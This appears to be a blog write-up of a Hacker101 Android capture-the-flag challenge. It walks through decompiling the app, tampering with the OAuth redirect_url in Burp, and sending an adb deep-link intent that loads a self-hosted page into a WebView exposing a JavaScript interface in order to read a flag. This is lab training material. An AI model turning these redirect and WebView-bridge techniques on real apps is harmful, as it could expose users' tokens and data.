Difficulty: Moderate
Skills: Android
Flags: 2
Flag 1/2
The first thing that we need to do is download the .APK file and decompile with apktool ☝️🤓
apktool d oauth.apk
And for recon, I’ll run MobSF and jadx-gui
The target SDK is 28, then I will use my Android 9.0 with Genymotion.
Install the .APK with
adb install oauth.apk

When we click on the button, this piece of code is executed:
NOTE: URL is my private instance.
public void onClick(View view) {
if (view.getId() != R.id.button) {
return;
}
String str = null;
try {
str = "https://URL.ctf.hacker101.com/oauth?redirect_url=" + URLEncoder.encode(this.authRedirectUri, StandardCharsets.UTF_8.toString()) + "login&response_type=token&scope=all";
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
Intent intent = new Intent("android.intent.action.VIEW");
intent.setData(Uri.parse(str));
startActivity(intent);
}
In burpsuite, we can capture this request:
GET /oauth?redirect_url=oauth://final/login&response_type=token&scope=all HTTP/2
Host: URL.ctf.hacker101.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Linux; Android 9; Pixel Build/PI; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.3729.186 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
X-Requested-With: org.chromium.webview_shell
The response is:
HTTP/2 200 OK
Date: Wed, 03 Apr 2024 09:14:47 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 101
Server: openresty/1.25.3.1
Authorize Mobile Application
For every request, we get a new token.
And click on the Authorize Mobile Application
Then, we are redirect to the App.

Looking at the Browser.java source code, in this piece:
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_browser);
String str = "https://URL.ctf.hacker101.com/authed";
try {
Uri data = getIntent().getData();
if (data != null && data.getQueryParameter("uri") != null) {
str = data.getQueryParameter("uri");
}
} catch (Exception unused) {
}
WebView webView = (WebView) findViewById(R.id.webview);
webView.setWebViewClient(new SSLTolerentWebViewClient(webView));
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new WebAppInterface(getApplicationContext()), "iface");
webView.loadUrl(str);
}
I noticed that there are an endpoint (/authed).
Then, I tried change the request of above
GET /oauth?redirect_url=oauth://final/login&response_type=token&scope=all HTTP/2
Host: URL.ctf.hacker101.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Linux; Android 9; Pixel Build/PI; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.3729.186 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
X-Requested-With: org.chromium.webview_shell
To:
GET /oauth?redirect_url=authed HTTP/2
Host: URL.ctf.hacker101.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Linux; Android 9; Pixel Build/PI; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.3729.186 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
X-Requested-With: org.chromium.webview_shell
And we get the flag in the response:
HTTP/2 200 OK
Date: Wed, 03 Apr 2024 09:18:41 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 132
Server: openresty/1.25.3.1
Authorize Mobile Application
This is because when we click on Authorize Mobile Application, behind scene the “token flag” is generated, in the activity without content.
Flag 2/2
Looking the source code, I noticed that WebAppInterface.java have getFlagPath()
Where an url is crafted with some randoms numbers.
And at the end, we can see that finalize in .html
And looking in the Browser.java we can see:
try {
Uri data = getIntent().getData();
if (data != null && data.getQueryParameter("uri") != null) {
str = data.getQueryParameter("uri");
}
} catch (Exception unused) {
}
WebView webView = (WebView) findViewById(R.id.webview);
webView.setWebViewClient(new SSLTolerentWebViewClient(webView));
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new WebAppInterface(getApplicationContext()), "iface");
webView.loadUrl(str);
}
Then, we need call the param “uri” with JavaScript code hosted by our own, calling the WebApp know as iface.
This code can clarify this:
Test
Test
So, with a simple Python server we can just:
python3 -m http.server 8081
Then with adb we can call the URL with:
oauth://final/?uri=
This is the command:
adb shell am start -a android.intent.action.VIEW -d "oauth://final/?uri=http://192.168.1.4:8081/expl.html" com.hacker101.oauth
Letme explain the command ^^
adb shell am start
This command is used to start an activity on the Android device.
-a android.intent.action.VIEW
Specifies the action to be performed, in this case, opening a view.
-d “oauth://final/?uri=http://192.168.1.4:8081/expl.html”
This indicates the URI to which the action will be directed. In this case, it looks like you are trying to open a link pointing to “http://192.168.1.4:8081/expl.html” with a scheme of “oauth://final/”.
com.hacker101.oauth
This is the name of the application package to which this intent will be sent.
So, executing this command, we’ll launch the app and a new .html file will appear.

Copy, paste and get the flag.
I hope you found it useful (:
Leave a Reply